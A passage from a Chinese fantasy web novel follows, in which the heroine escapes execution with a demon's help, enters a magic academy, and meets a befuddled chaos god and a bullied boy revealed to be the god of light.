赫瑞特话音刚落,季白正要说话,却突然发现周遭慢下来的空间像是一张被人揉皱的纸一样,一切变得扭曲,时间也以一种不正常的流速跳跃着。 台下围观的众人突然爆发出喜极而泣地喊叫。 “天呐,是伟大的光明神!” “不朽慈悲又无所不知的光明神啊,请赐予您忠诚虔诚的信徒们神谕,请指引您迷茫痛苦的信徒们走向光明,请您怜悯我们的灵魂,请您涤清我们的罪恶,统治光明无所不知的伟大君主,所有的荣光与赞美都归于您,请您降下福音。” 季白一听光明神出现了,立刻好奇地望过去,就在被白云遮挡的蓝天上看见了一颗无比巨大的眼球,惨白的不掺杂一丝杂质的眼白上嵌着一颗如火般炙热,如日般耀眼的金色瞳孔,眼球的两边生着一对洁白柔软如天使般圣洁的翅膀。 圣洁与诡异并存,慈悲与威严同在,巨大的可怖眼球一点点地向地面压来,很快他们头顶的整片天空都被这颗诡异的眼球所代替。 在它面前人类渺小又卑微,仿佛随时会被这股强大的力量碾为尘埃。 季白本能地生出一股恐惧与不适,她实在不能把这样可怖的东西与光辉美好的神明联系在一起。 在她的印象中代表光明之类的神明应当是站在云端,有着一张纯洁美好如天使般漂亮的面庞,而不是……这样的怪物。 季白只是多看了一眼,就觉得自己的眼球痛得发胀,仿佛在下一秒就要炸开了一样。 一股阴冷的,无形的气息覆在她的眼睛上,随后,她的眼睛就好似是被人蒙上了一层纱,看什么东西都雾蒙蒙的,但那种痛到快要炸开的感觉却逐渐得到了缓解。 赫瑞特沙哑低沉的声音又一次在她耳后响起。 “区区人类怎敢直视神明之躯?你是……想死吗?” 季白不甘示弱地反唇相讥,“那你呢,一个普通的恶魔也能在光明神的注视下安然无恙吗?” 赫瑞特没有再说话,但季白知道他没有离开。 虽然她的眼睛看不见他,但他的气息却无处不在,仿佛她就被他包裹在怀里一样。 任务栏再一次出现在季白的眼前,属于光明神泊里斯达尔的任务线亮了。 任务一:成功当选光明神殿的圣女,获得光明神泊里斯达尔的神眷。 与赫瑞特的任务一样,泊里的任务也没有完全解锁,还剩下未知的后半段。 当选圣女她知道是什么意思,可这神眷又是什么? 而且她这位被主教判定背叛光明神的预备圣女还能有机会洗清冤屈入选圣女吗? 季白正思索着突然发现任务栏的右下角突然亮了一个小红点,她一点开是一张类似地图的东西。 地图上的西北部亮着一个可爱的小人,应该是她现在所在的位置,格兰城。 其他部分都是灰白色的,似是等着季白一一去探索一样,只有东南方闪烁着微弱的光,季白点了一下,立刻就跳出一个地区的名称——奥斯俐学院。 系统的声音适时响起。 【奥斯俐学院是隶属于光明神殿的学院,每年优秀的毕业生都会加入光明神殿,本届各大分殿预备圣女的人选已经定下了,唯有奥斯俐学院还有一个名额。】 【这是宿主唯一成为神殿圣女的方式。】 难怪这次的任务时间这么长,原来她是要上学啊。 【神殿的圣女多久选拔一次?】 【百年一选。】 嘶,那岂不是错过这次机会就再也不能完成任务了。 可她身边还跟着一个对她虎视眈眈的黑暗神,她要怎么瞒过黑暗神成功前往奥斯俐学院呢。 季白正想着,突然感觉头顶飘来了一片阴云,她一抬头就对上一个如太阳般巨大的瞳孔,灼热的光烤得她仿佛快要融化,可后背却泛起一层凉意。 她感觉自己像是被他牢牢锁定了一样,他审视的目光让她愣在原地一动也不敢动。 突然,遮天蔽日的恐怖怪眼对着她眨了眨眼睛,从季白的视觉看来在他眨眼的那一瞬间,整个世界仿佛都快速地闪了一下。 哪怕她的眼睛仍然覆着那一层薄纱,她也觉得自己的头快要炸开了一样,就在季白快要承受不住时,巨眼在霎那间就消失得无影无踪,仿佛从未出现过。 下面的信徒们还在低着头祈祷,季白心有余悸地松了口气,这种强到直逼人心的压迫感是她在前两个世界从未体验过的感觉。 只是看他一眼,自己的身体都无法承受,后面的任务真是不知道该怎么做。 希望那隐藏的后半段任务能简单一点。 她实在无法想象一颗巨大的,诡异的,生着翅膀的眼睛也对她爱意满满,更无法想象她和一颗眼睛亲吻的画面。 她突然有点好奇赫瑞特的样子,不过……光明神都长得那么恐怖怪异,黑暗神肯定也好不到哪里去。 季白的脑子里顿时浮现出一个躲在黑暗中恐怖又阴邪的怪物,那双绿油油的眼睛如同野兽般盯着她,她不禁打了个冷颤,耳边恰时又传来了赫瑞特低沉的声音。 “你在抖,很害怕?” 他突然低低笑了起来。 “作为光明神殿的预备圣女,你却害怕自己信奉的神明,你果然,很适合黑暗。” 季白想到了赫瑞特的任务,脑子里突然诞生了一个绝佳的主意。 如果能顺利完成,这位黑暗之神定会被她气得跳脚。 “恶魔先生,我有个有趣的点子,你要不要听?” “你说。” “如果光明神殿的人发现百年一选的圣女竟是黑暗之神的信徒,你说,会不会很有意思?” “如果我在主神殿的光明神像前唱着黑暗之神的赞歌,那位传说中的黑暗君主也一定会为之喜悦吧?” 季白察觉到仿佛有一双手轻轻拂过她的脸颊,“人类,你的胆子很大啊,你刚刚见过光明神的真身,还敢在他的神像前歌颂……黑暗神,你,就不怕他的神光刺穿你的身体,纯净的圣火炙烤着你这背叛者的灵魂吗?” “你敢这样羞辱他,我保证,他会让你的灵魂永生永世都不得解脱。” “这是我的事。”季白说,“光明神殿的人黑白不分,愚不可及,虚伪又无能的光明神竟连你的存在都不能发现,这样无能的神明,这样愚蠢的神殿,我为何还要对他们献上我的真心与赤忱?” “亲爱的恶魔,请你相信我对无所不能,永恒不朽的黑暗之神的忠心,我向黑夜发誓,我会永远为他献上我的忠诚与生命。” 赫瑞特轻轻的笑声在她的上首响起,细微的气流落在她的额头,让她有点痒痒的。 她听见他的声音幽幽传进她的耳中。 “这会是一场有意思的乐子,我可以答应你。” 季白还没来得及高兴,就隐隐感受到似乎有一个滑腻湿漉的东西舔过她的锁骨。 “但我该如何确认你……对黑暗之神的忠心呢?” 季白感觉有一个尖锐的东西抵在了她的脖颈上,像是吸血鬼的獠牙,他轻轻地磨着她的肌肤,好似随时会刺穿这一层薄薄的皮,尽情享用这一顿饕餮盛宴。 “或许……我该在你的身上留下一个永不能磨灭的记号。” 季白一听这句话顿时警铃大作,她立马想到了在上一个副本中李承仙在她身上留下的情契。 同样的错误她可不能再犯第二遍了。 季白连忙拒绝。 “不行。” “如果在我的身上留下黑暗痕迹,一定会被光明神殿的人发现,我就不能入选圣女了。” 季白话落,明显感受到那停留在她脖颈的利齿顿了顿,随后缓缓离开了她的肌肤。 让季白奇怪的是,她明明看不见他的脸,却好似感受到了他失落遗憾的情绪。 那是一双如翡翠般的绿眸。 这种诡异的感觉,幽幽的眼睛在她脑海中一闪而逝,很快她就感受到他掐住了自己的脸,迫使她的目光看向阶下亢奋狂热的光明神信徒们。 刚刚光明神的偶然造访,被他们认定为是光明神在生气。 预备圣女中竟然混入了黑暗的使者,这是一个无可救药的错误,这邪恶的气息污浊了神殿的光辉圣洁,单是火刑处决已经不能平息光明神的愤怒,他们必须要用更加残酷的刑罚终结叛徒的性命。 他们兴奋地议论着各种各样的酷刑,如把她丢进立满铁钉的坑洞千疮百孔地去死,如让刀斧手一片片削掉她背上的血肉,再斩断她的肋骨将它们一根根的掰开形成一对血腥的白骨翅膀,如敲断她的四肢将她绑在马车的轮子上让她慢慢死去。 一个又一个的酷刑听得季白头皮发麻。 这里真的是光明神殿吗? 怎么听起来一点也不光明? “你瞧,他们正商量着怎么处决你,触怒光明神,与黑暗有染的你要如何当上圣女?” “奥斯俐学院。”季白说,“奥斯俐学院还有名额,只要我能想办法加入奥斯俐学院,就一定可以拿到名额。” “亲爱的恶魔先生,尊贵的黑暗之神的随从,您一定有办法帮我离开这儿前往奥斯俐学院吧?” “我可以帮你离开这儿,剩下的自己想办法。” 赫瑞特话音刚落,季白就觉眼前一黑,整个人仿佛被拉入了未知的扭曲通道。 在台下众人的眼中,被他们捆得严严实实,烧至半死的季白竟凭空消失了,众人大惊失色,不明白是发生了什么。 牧师们慌忙寻找空气中残留的魔法痕迹,试图找到季白的下落,然而找了半天都还是一无所知。 这时黄金骑士骑着独角兽从天而降,为首者大声询问:“预备圣女季白是否在这儿?” 格兰城光明分殿的主教立即态度恭敬地走上前行了一礼,道:“尊敬的黄金骑士,我们这儿是有一位预备圣女名叫季白,前几日我们发现她与黑暗势力有染已经处决了。您突然到此,可是奉了教皇大人的旨意?”* 光明神殿里除了精通光明魔法的牧师,还有勇敢威猛的骑士,而这黄金骑士是所有骑士中等级最高者,属于教皇大人的近卫。 凡光明神殿教众见黄金骑士如见教皇,因而这一小城的主教方会这般恭敬。 “你们把她处决了?!”黄金骑士大惊,“教皇大人说了,让我等无论如何也要把她带回主城!” 格兰城主教的脸白了一分,随后小心翼翼地说:“还没有,她……不见了。” 他说完,再次卑微地问询。 “难道是教皇大人也知道了她背叛神殿的事,要亲自带回主殿审问?” 黄金骑士冷笑。 “她背不背叛神殿我不清楚,我只知道教皇亲口说了,她十分幸运地得到了光明神的青睐。教皇大人要带她回主殿亲自教养。” 格兰城主教听到这儿,那张本就苍白的脸现在和白墙差不多了,额头上挂满了豆大的汗珠。 原来光明神的现身是因为青睐季白吗? 格兰城只是一座小城,哪怕是主教也没有聆听神谕的资格,因而就算是光明神的真身出现在他面前,他也不能明白那是什么意思。 他突然很庆幸,还好季白是消失了,如果受光明神青睐的季白真被他处决了,他这主教的位置也算是做到头了。 主教擦了擦额上的汗,连忙道:“我明白了,我会发动格兰城所有的力量去找,亲自护送季白前往主殿。” 沉入黑暗的季白突然感觉自己的脸颊有点痒痒的,她一睁开眼就看见一只不知是什么东西的动物嗖得一声踩着她的脸跑走了,季白摸了摸被踩得有点疼的脸,总觉得应当是兔子之类的东西。 她先是环顾了一圈,发现自己正身处在枝繁叶茂的森林中,几缕明媚的日光穿过树隙落在她的身上带来阵阵暖意。 “恶魔先生,恶魔先生?”季白先是轻轻喊了一遍赫瑞特,见他没有回应又大喊了几声,然而四周静悄悄的,也没有任何阴冷的气息传来。 难道赫瑞特已经走了? 季白见状也不再找他,而是先打开地图查看自己所在的位置,没想到赫瑞特嘴上说着让她自己想办法,神还是非常好的把她带到了奥斯俐学院的附近。 按照地图的指示,只要穿过这片森林就能抵达奥斯俐学院。 系统在她脑海中提醒。 【今天是奥斯俐学院新生招收的最后一天。】 【请宿主尽快前往。】 季白闻言加快了脚步,她一边走一边脑子也没有闲着,而是在系统的辅助下尽快了解着这个世界。 这个世界里曾经拥有许多神明,但在上一次毁灭性的灾难中几乎全部陨落。 如今存留下的神明就只剩下光明神,黑暗神,还有掌管海洋的海神。 大陆之上光明神殿与黑暗冥殿相互为敌,交恶多年,而在靠近海边的地方则生活着大量信仰海神的渔民。 但海神似乎是位相当特殊且神秘的神明,他并没有在人类社会建立任何神殿。 曾有信众想要为海神创立神殿,然而在建立的第一天就被水淹了,自此以后大家也就明白了这位海神的性格,就只在出海前对着大海祷告。 只剩下三位神明,季白看了看任务栏,那第四位男主是谁,普通的人类吗? 眼看季白就要穿过这片树林,她却突然听见树丛中有响动,季白立即警觉起来,目光防备地看了过去。 她正考虑着要不要过去看看时,草丛的枝叶晃得越发厉害了,季白默默往后退了两步拉开距离。 很快,就见从树丛中滚出一位头发乱糟糟的少年。 他上半身穿着绸制的白色衬衫,领口处做了特殊的处理,层层叠叠的像是云彩的波浪,紧贴肌肤的黑色裤子完美地展示出少年漂亮的腿部肌肉线条,外面套着一件刺花的红色外套,胸口别着的硕大宝石格外扎眼。 看他的打扮像是人类贵族里的小少爷。 只不过……是落了难的少爷,他身上脏兮兮的,就连脸上都沾了不少泥土,像是刚从泥地里滚了一圈一样。 确切地说,他现在还在滚着。 季白眼睁睁看着这少年从她眼前滚过,而后一头撞上一颗大树,方制止了他奇怪的行进方式。 这人太奇怪了。 季白打算默默走开,可系统的提示音又让她停了下来。 【发现任务目标——混沌神查奥斯康斐。】 季白的眼睛顿时亮了。 他就是第四位男主啊。 可是不对啊,为什么她刚刚从系统的资料中并没有得到任何关于混沌神的信息。 季白一面悄悄观察着少年,一面打开了任务面板,想看看关于混沌神的任务是什么。 奇怪的是,关于混沌神的任务还是无法看清。 难道是任务接的太多,就不能再接取新任务了? 不过难得能遇上第四位男主,她还是得抓紧机会同他熟悉熟悉。 季白主动走了上去,一脸关切地问:“你还好吗?” 少年靠在树上摇摇头,说:“我没事。” 他乱糟糟的头发上沾了不少树叶,头顶还翘起几缕呆毛,又大又圆的浅灰色眼睛使他看起来可爱又呆萌,也有种格外好欺负的样子,就像是一只看起来傻傻的漂亮猫咪。 这位神明……还真是有点特别。 “你是要去哪?”季白说着,主动弯腰把他扶了起来。 他的性格也好到不像话,一扶就起来,一问就说话。 不过说得是完全没用的废话。 “啊?”查奥斯微微皱了皱眉,那双大大的眼睛一瞪显得更无辜呆萌了。 “我要去哪来着?”他低声问自己。 查奥斯想了很久也没有想出来,随后失落地摇摇头。 “我不记得了。” 季白:…… 季白微笑:“那你叫什么名字啊,我是季白。” “什么名字……”查奥斯放在衣襟前的手指转着圈圈,微微用力的眼睛可以看得出他很用力地在想,然而想了半天,还是吐出一句,“我也不记得了。” 季白:…… 这位混沌神真的不是来耍她的吗? 怎么会有人不记得自己的名字? “呵呵。”季白扯了扯嘴角,说,“我要去奥斯俐学院,我们可以一起走,也许你走着走着就想起来了。” 季白开始怀疑该不会是查奥斯刚刚那一撞把脑子撞坏了吧? 不过会有神明脆弱到自己把自己撞傻的吗? 季白有了前两次的经验,并不敢小瞧他。 或许他现在的傻样只是他的伪装,就算他真的是傻瓜,也是一位神明,实力定然不容小觑。 “哦!”查奥斯忽而惊叫一声,“我想起来了,我也要去奥斯俐学院。” 他说着从怀里掏了掏,掏出了一张皱皱巴巴的羊皮纸,上面写着一段漂亮的文字,在羊皮纸的最下方还印着一个神秘图纹,应该是奥斯俐学院的校徽。 “这是我的入学邀请单。” “邀请单?”季白好奇地看了一眼,“你也是新生?不过新生报道需要邀请单吗?” “是啊。”查奥斯说,“你没有吗?” 季白当然是没有的。 “没有。” 季白问:“没有会怎样?” 查奥斯歪着头想了想,说:“可能会不能入学吧。” 季白:…… 【系统,没有邀请单不能入学,那我还怎么进入奥斯俐学院?】 【你能给我做一份入学邀请单吗?】 季白话音刚落,耳边就传来查奥斯的声音。 “姐姐,你很想去吗?如果你没有的话,我可以把我的给你。” 系统的声音也适时响起。 【这不就有办法了。】 季白:这家伙还真是比她还物尽其用啊。 季白笑着转过头问查奥斯,“你把你的邀请单给了我,你怎么办?” 不过这家伙是神明哎,现在神明也需要去上学吗? 查奥斯说:“我一般很幸运的,想做的事都能做成。就算没有邀请单,我想我也可以成功入学。” 季白看了看查奥斯没说话,心里则暗想,你可是神明啊,当然想做的事都能做成。 不过如果是神的话,肯定有他的办法,她也犯不着为他操心了。 其实季白心里非常怀疑他之所以出现在这里,说不定就是专门来等她的,至于手里的邀请单,说不好也是他刚刚变出来的。 “那谢谢你了。”季白接过查奥斯手里的邀请单,笑眯眯地说,“你可真是个好人啊。” “我想,我今天也足够幸运,能在这儿遇见你。” 查奥斯白皙的小脸染上一团红晕,似是被她夸得很不好意思一样。 两人一边聊着一边往奥斯俐学院赶去,等他们抵达奥斯俐学院时,招生已经快要结束了。 季白连忙跑上前去交出查奥斯给她的学院邀请单,奥斯俐学院的老师看了一眼后就放她进去了。 轮到查奥斯时,季白以为他会有什么好主意或者神奇的能力通过老师的查问,结果这家伙就是用他那双又大又圆的眼睛看着对方,无比直白地说:“我没有邀请单。” 77 第77章 老师眼睛一瞪,喝道:“没有邀请单,你……” 季白捂着脸不忍再看,已经可以想象查奥斯即将迎来的一场狂风暴雨,然而下一秒却听见门口的老师话音一转,就连语气都变了。 “就进来吧。” 季白不可置信地睁开眼,老师还是刚刚的老师,只是不管季白怎么看都感觉老师的样子像极了……迷迷糊糊,什么也不记得的查奥斯。 傻瓜也会传染的具象化就这么水灵灵地展示在她眼前。 查奥斯走进来,笑得单纯又无害,又圆又大的浅灰色眼睛里还透着三分傻气。 “看吧,我就说我很幸运,想做的事都能做成。” “老师人很好的就放我进来了。” 季白又看了眼已经恢复正常的老师,但显然他的眼神中还透露着几分迷茫,仿佛完全忘记刚刚发生什么了。 这和幸运,和人很好有什么关系啊! 明明就是你用神明的力量迷惑了对方吧! 季白在内心大喊。 但表面上季白还是装作什么都不知道的样子笑眯眯地说:“我想,是因为像你这么可爱的男孩子无论是谁都会心软的吧。” “姐姐也是这样吗?”查奥斯脸红红地看着季白,浅灰色的眸子闪烁着期待的光芒,“也会觉得我可爱吗?” 季白有时候又觉得查奥斯没有那么的傻,因为他太知道她会对什么样的眼神心软,可他的面容又是那么的纯真自然,让人很难去怀疑他有什么坏心思。 “当然了。”季白肯定地说。 想要进入奥斯俐学院,需要通过两道考验,一样是笔试,考察学生对光明神殿以及光明神的了解,一样是资质的测试,判断学生的魔法潜能。 每位答题的学生分别会被传送到不同的小房间进行笔试,答题时间为半小时。 季白坐下后看着面前的卷子有些担忧起查奥斯。 在考试前这家伙还没想起来自己叫什么呢,还是她让他先随便写一个名字。 以这家伙现在的状态,也不知道能不能通过这关考试。 不过他毕竟是神明,肯定有自己的办法。 季白这么想着就开始答题,老实说卷面上的问题她一个都不会,但有了系统的帮助,还是在规定的时间内全都做完了。 当她确认提交卷子后,只见从书架上飞来一支羽毛笔,如同被一个无形的人握住一般在她的卷子上勾勾点点。 很快,羽毛笔完成了它的批示,又如同小鸟一样晃晃悠悠地飞回了自己的巢穴,卷子飘然地落在季白手中,上首的空白处用红笔写着大大的通过。 眼前白光一闪,季白来到了一间纯白的堂厅,一眼看见的就是几乎占满四面墙壁的玻璃窗,从脚底一直延伸至天花板,玻璃被铂金条分成细长的四块,下面的玻璃又被分成一块块小方格,上方则是用流光溢彩的珐琅拼凑出四种形貌不同的光明神。 “恭喜你成功通过了笔试。”柜台后的红发老者笑容和蔼地同季白说,“现在你只需要把手放在面前的水晶球上就能完成入学考试的最后一项,孩子,祝你好运。” 红发老者话音刚落,就见季白面前的砖块突然破裂,随后一株无比美丽圣洁的鸢尾花在她面前快速生长并绽放,洁白的花瓣中藏着一颗晶莹剔透的水晶球。 水晶球缓缓升起停在季白面前似是在热情地邀请她,让她快点把手放上去。 季白环顾四周看了一圈,她和查奥斯来得晚,因而房间里只有零星几个人。 “老师,我想问问和我一起来的少年怎么样了?”季白问,“怎么一直没见他过来?” “他啊……”红发老者呵呵笑了两声,道,“他没有通过考试,被传送至别的地方了。” “没有通过?”季白惊得忍不住提高了音量,再次询问,“你是说和我一起的那位浅灰色眼睛黑头发的可爱少年没有通过刚刚的考试?” 不可能吧…… 查奥斯就算再怎么迷糊,也是一位神明啊。 怎么会连一个人间学院的考试都通不过? 红发老者闻言翻了翻书桌前一叠叠的文档资料,再次点头确认,“是的,没有通过。哦,我不得不说,他是我这五十年以来遇见的答得最糟糕,最一塌糊涂的孩子,他的试卷简直让人不敢相信。” 季白沉默着接受了这一事实,这个世界的男主们看起来都非常的……特别。 一只恐怖巨眼的光明神。 只闻其声未见其人的黑暗神。 还有一位超级迷糊的混沌神。 她现在非常非常好奇还未见到的海神是什么样子,希望他能是一位正常点的神明。 季白的手掌覆在水晶球上时,顷刻间只见绿光大闪,耳边传来红发老者的赞叹声。 “孩子你的天赋很不错,恭喜你成为了奥斯俐学院的一员。” 季白闻言把手从水晶球上拿开,红发老者则低着头在柜台里翻找着什么东西。 无人在意,无人问津。 季白有一点点小小的遗憾,她还以为自己能体验一把爽文主角的剧情呢。 比如什么她测验完资质万年未响的钟响了十几道惊动宗门老祖的注意震惊她是万年难遇的奇才,结果现实却是一个和蔼的小老头递给她一张纸,笑眯眯地让她填上自己的名字。 他刚刚那句天赋还不错的夸赞,更像是来自长辈的善心与鼓励。 季白接过纸张轻叹一声,算了,至少她还通过了奥斯俐学院的考试,不像和她一起来的混沌神,连第一轮都没过就被赶出去了。 红发老者看了眼纸张上的名字,瞳孔微微缩了缩,问:“季白,是你的名字?” 季白闻言警惕地应了一声,问:“我的名字有什么问题吗?” 该不会是她在格兰城的事传到奥斯俐学院了吧?应该不会这么快吧,格兰城只是一座小城,这样的小城在光明神殿的管辖内,大大小小也有上百个了,而她只是一个小城中八位预备圣女中的其中一位,实在是一个不起眼的小人物。 红发老者露出一抹和蔼的笑,递给一个刻有她名字的校徽,“没有问题,你有一个很好听的名字。” 季白总觉得有点不对劲,但又没有从红发老者的眼中看见任何恶意,因而也就不动声色地回以一个微笑并接过奥斯俐学院的校徽。 一只生着透明翅膀的小人从校徽里钻了出来,她只有季白拇指大,看起来像是一个小小的精灵。 “小主人,您好。”小精灵扇动着翅膀飞到季白面前,“我是您的灵宠艾米,接下来会由我带您熟悉奥斯俐学院。” 季白拿手指戳了戳她,她立即就在空中翻了个跟头,然后乖乖地落在了她的掌心。 这小玩意还挺可爱的。 季白先把她放在肩膀上,而后就先去了校门口寻找查奥斯的踪迹,可她找了一圈也没找到人,只能先返回学院办理入住。 季白走后,原本站在柜台后的红发老者喃喃自语道:“她怎会出现在这儿?” 他一面低语,一面低头疾笔写了一封信。 写完后,他转身将其丢进了熊熊燃烧的圣火中。 当季白忙完所有的一切已是饿得饥肠辘辘了,感觉所有的力气都被掏空。 在上一个副本中她是实力强大的修士,因而她已经很久没有在副本中体会到这种普通人类的疲乏感了。 她强拖着疲惫的身子在艾米的指引下往食堂的方向走去,路上,她突然听见角落里传来不堪入耳的咒骂声以及重物捶打□□的声音。 季白微微皱了皱眉,顺着声音的来源抬脚走了过去,结果就在一条小巷的深处看见了一群人对着一位肤色苍白,身形瘦弱的少年拳打脚踢,期间还有不少人对他嫌恶地吐口水。 身上那件洁白的学院长袍印满了肮脏的黑脚印与泥巴,他抱着头蜷缩在墙角只露出一截纤瘦白皙的手腕,只不过他的骨结总给人一种非人的怪异感。 她默默观察着方确定他的手腕确实与常人不同,明明很瘦很瘦却没有凸起的尺骨,就像是一根直溜溜的筷子。 “别打了!我看见导师来了!”季白躲在光明神像后高喊了一声,那帮坏小子们听见季白的声音,立刻如鸟兽般散开。 待人都走得干干净净后,季白方走上前去,低声问:“喂,你还好吗?” 少年缓缓抬起头露出一张如玫瑰般漂亮的面容,季白忍不住倒吸了一口凉气。 倒不是为他的美貌,而是为他那只古怪的右眼。 他的右眼没有眼球,只是一个空空荡荡的眼眶,眼眶周边还残留着陈旧的细小疤痕,像是曾经有人用利爪把他的眼睛活生生地挖出来了一样。 这张完美无缺的漂亮脸庞因这只怪异的右眼而显得无比惊悚,不过好在季白已经看过太多奇怪的东西,这种程度在她看来还是可以接受的。 少年见季白看他的眼神干净纯澈,没有其他人眼中的害怕与嫌恶,他垂下视线低声说了一句,“我没事。” 他的声音竟然出乎意料的好听,清越纯粹,像是最柔和的小提琴声又像是一滴水珠渗入人心的最深处。 季白注意到他的四肢格外细长,整个人呈现出一种极为不协调的诡异感,比起人,他更像是某种拥有麟角的爬行动物。 季白心中暗忖,他该不会是兽人吧? 季白见他看起来确实没什么大事后,就转身离开。 她也不是一个特别喜欢多管闲事的人,尤其还是一位看起来很不正常的少年。 “等等。”身后突然传来少年急促的声音,紧接着季白感觉好像有一道光从自己身侧闪过去了,等她定下脚步时,刚刚还蜷缩在墙角的少年就拦在了她的身前。 季白瞪大眼睛回眸看了一眼身后,这人的速度也太快了吧! 他有这么快的速度,刚刚为什么不逃跑呢? 对了,他刚刚是怎么过来的? 季白只依稀觉得她刚刚好像是看见他……四肢着地快速掠过的样子,是错觉吗? 站在她面前的少年比季白想象中的还要高,哪怕他的身体以一种极为不舒适的状态佝偻着,他还是比季白高出了一个头。 他前倾的身体像极了刚刚学会站立的动物,也像极了捕猎者预备发起攻击的样子。 季白谨慎地往后退了一步,极为防备地盯着他,心里暗想,自己真是不该管闲事,弄得现在好像要惹上麻烦了。 “做什么?”季白问。 少年完好无损的右眼清楚地看见了季白刚刚后撤的动作,他眼中闪过一抹失落,随后习惯性地低下头,轻声说了一句,“谢谢。” 他还是不太习惯和人相处,也不习惯和正常人一样用双腿走路,或许他们说得都没错,他就是一个可怕的,恶心的怪物。 这样丑陋,卑贱,又恶心的他,怎么会有人肯对他好呢? 他低着头默默让开了路,似乎是怕挡着季白的路,又似乎是怕自己身上的气味会熏着季白一样,他整个身体都贴在了墙面上,恨不能与之融为一体。 季白看他的模样实在有点可怜,抿了抿唇想着要不要说点什么,但她转念一想,自己并不会在这个副本世界待太久,与任何同任务无关的人物产生情感连接,到最后痛苦的也只是他们两个人而已。 季白强迫自己收回视线,正准备离开这儿。 脑子里的系统却突然出声道。 【发现任务目标——光明神泊里斯达尔。】 季白前进的脚步立即顿住了,她先是抬头看了看天,而后又仔仔细细地环顾了一圈。 在这条无人问津的小路里,她的视线之内除了古怪又苍白的独眼少年外,就再没有任何一个人了。 她连只鸟儿都没有看见。 【光明神在哪?】 【你的身后。】 季白连忙回头就看见了还贴在墙上的少年,她不可置信地问系统。 【你是说他是光明神?这个惨兮兮的独眼少年是光明神?】 他怎么看都像是一个非人的可怜怪物,身上半点也没有她当初在神殿时感受到的压迫感。 【没错。】 【那我当初看到的怪眼又是谁?】 【也是光明神。】 季白突然想到她上次看见的光明神是一只眼睛,而这次遇见的光明神又少了一只眼睛,他们之间……是否有着某种神秘的联系呢? 季白一边想着,一边放慢脚步一步步朝少年走去。 泊里见季白去而复返,还神色探究地一步步朝他走来,顿时一阵紧张。 除了拳脚与谩骂外,没有人会这样静悄悄地靠近他。 他藏在宽大袖袍里的手紧紧攥着,紧贴着墙面的背还要继续往里缩,像是一只明明害怕到极致的小猫但还在乖巧地等着命运之神的垂青。 她要做什么? 和其他人一样打骂他吗,还是别的什么? 他有一点害怕,却又有更多的期待。 季白在距离他一步远的地方停下,细细观察着他的样子。 除了他这让人感到奇怪的身体与惊悚的眼睛外,他的其他地方都堪称是完美,像是上帝最精心雕刻的作品。 但越美的东西越是遭人觊觎,所以他在诞生后就遭受到了无比惨烈的折磨,强盗们的争夺使他的身体遭到诡异的变形,贪心让他们剜走他身上的珠宝,变丑变得黯淡的他也从让人惊叹的宝物变成人人嫌恶鄙夷的怪物。 那道审视的,热烈的,甚至还带着几分怜惜的目光始终在盯着他看,这道不容忽视的目光比他们的拳头还要让他紧张害怕,他的心不可自抑地在胸腔里颤动,就像压不住一只许久不见主人的狗,捂住他的眼睛会有不断弥散的气味冲进他的鼻腔,绑住他的腿会有毛茸茸的尾巴不断摇摆。 她……到底要做什么? 这短暂的几秒,对泊里来说像是脖子上悬着一把不知何时会掉下的剑一样让他难熬。 他很想问一问她,可又怕惊走了她。 终于,他听见她的声音再一次在他耳畔响起,那如同清泉般的声音洗去他心中所有的苦痛。 “你的名字是什么?” 名字……? 泊里抬起茫然的眼睛,她去而复返,她的审视与靠近都只是为了问他的名字吗? 她……是想要和他做朋友吗?他悄悄观察过,人们交朋友的第一步就是互相交换他们的名字。 季白一看他这幅神色,心中一惊,这位光明神不会也糊涂到记不得自己的名字吧? 不过看他现在的样子好像还不如混沌神,混沌神虽然迷糊了点,但至少看起来过得还不错。 可不像他……过得这般凄惨可怜,被人欺负也不还手。 季白想想觉得有几分讽刺,在隶属于光明神殿的学院里,在四处都供奉着光明神的地方,真正的光明神却在被他的信众欺凌。 “泊里。”少年轻轻说出了两个字,明明是最为普通的两个音节,但从他的嘴里念出来,却仿佛成了世间最美的两个字。 “季白。”季白轻声说,“这是我的名字。” 她本次的任务需要成为光明神殿的圣女并获得光明神的神眷,她当然得趁着光明神落魄的时候刷刷好感。 说不好他哪一天玩腻了,或者说恢复记忆了,大手一挥就直接降下神谕命她为圣女了呢。 季白这么想着,脸上的笑容也越发温柔。 “你饿不饿?我正准备去食堂吃饭,你要和我一起吗?” 从未被温和以待过的泊里骤然接受到季白的邀请,兴奋到那只棕褐色的瞳孔仿佛都快要亮成金色了。 但他的眼睛又很快黯淡下来,随后摇了摇头。 他不能给她找麻烦。 季白是一个很聪明的人,从刚刚的场景中就能推断出他在这个学校所遭受的困境,因而她大概能明白他摇头的原因。 不是不愿去,而是不能去。 但她并没有直接表达出来,而是换了种说法询问。 “你不喜欢去食堂吗?”季白温声道,“那我把食物买回来吃,你在这儿等我好不好?” “可以吗?”泊里轻声问,“会不会太麻烦?” 他没有担心季白是不是耍他,也不觉得一个人在这儿等她会很无聊,反而最先反应过来的是会不会太麻烦季白。 “不麻烦。”季白说,“我不喜欢人太多的地方,本来也是打算买回宿舍吃的。” 季白说着看了眼他脏兮兮的衣袍和他极力掩饰的伤痕。 “我会一点点光明系的治愈魔法。”季白轻声说,“你需要我帮你治疗吗?” 她在这个副本中的身份曾是光明神殿的预备圣女,因而治愈魔法是最拿手最擅长的魔法。 她现在虽不如之前,但治疗一下他身上的小伤还是没问题的。 “不……不用。我……我没有受伤。”他说着还缩了缩身子,似乎是想要把自己整个人藏进宽大的白色衣袍里一样。 季白见他这幅样子,只当他曾经受过创伤,也不强求要给他治疗,应了一声后,就先同他告别前往食堂买食物去了。 季白害怕泊里和查奥斯一样消失不见,因而几乎是跑着去跑着回的,当她赶回来时看见泊里还乖乖地蹲在墙角等着她时,瞬间松了一口气,但同时心中又升腾起一股奇怪的感受。 她觉得泊里有点像是乖乖等着主人回家的小狗,她特意看了一下,他真的自她离开后,一步都没有动过,似乎是害怕他一动,她就不回来找他了一样。 “泊里。”季白气喘吁吁地朝着泊里挥手。 泊里那只完好的眼睛亮晶晶地看着她,他佝偻着身子缓慢地一步步朝她挪动,像是刚学会走路的人一样。 季白有些怀疑他刚刚那快到惊人的速度是怎么办到的。 “泊里。”季白笑眯眯地递给他一瓶牛奶,道,“这儿离我的宿舍很近,我们不如去我的宿舍吃吧?” “你正好还能清洗一下你的衣服。” 泊里闻言眼神一震,惊得险些把手里的牛奶打碎了。 他从来没有想过会有人邀请他进入他的私人空间。 季白见他不语,还以为他是不愿意,便主动握着他的手,软下声音撒娇道:“一起去嘛,好不好?我今天是第一天上学,还没有一个朋友呢,你是我的第一个朋友。” 